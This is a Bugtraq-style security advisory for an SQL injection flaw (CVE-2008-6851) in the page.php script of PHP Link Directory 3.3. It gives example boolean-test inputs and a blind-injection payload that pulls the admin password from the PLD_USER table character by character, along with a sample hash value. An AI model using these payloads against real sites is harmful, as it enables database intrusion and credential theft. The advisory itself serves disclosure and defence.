PHP Link Directory 'page.php' SQL Injection Vulnerability

Bugtraq ID:	32989
Class:	Input Validation Error
CVE:	CVE-2008-6851
Remote:	Yes
Local:	No
Published:	Dec 23 2008 12:00AM
Updated:	Apr 13 2015 09:12PM
Credit:	fuzion
Vulnerable:	PHP Link Directory PHP Link Directory 3.3
Not Vulnerable:

PHP Link Directory 'page.php' SQL Injection Vulnerability

PHP Link Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Link Directory 3.3 is vulnerable; other versions may also be affected.

PHP Link Directory 'page.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example input to the 'page.php' script is available:

GET http://www.example.com/phpld/page.php?name=

True Request:
(validpagename)' or 1=1#

False Request:
(validpagename)' or 1=0#

Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...

Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f

PHP Link Directory 'page.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHP Link Directory 'page.php' SQL Injection Vulnerability

References:

• PHP Link Directory Homepage (PHP Link Directory )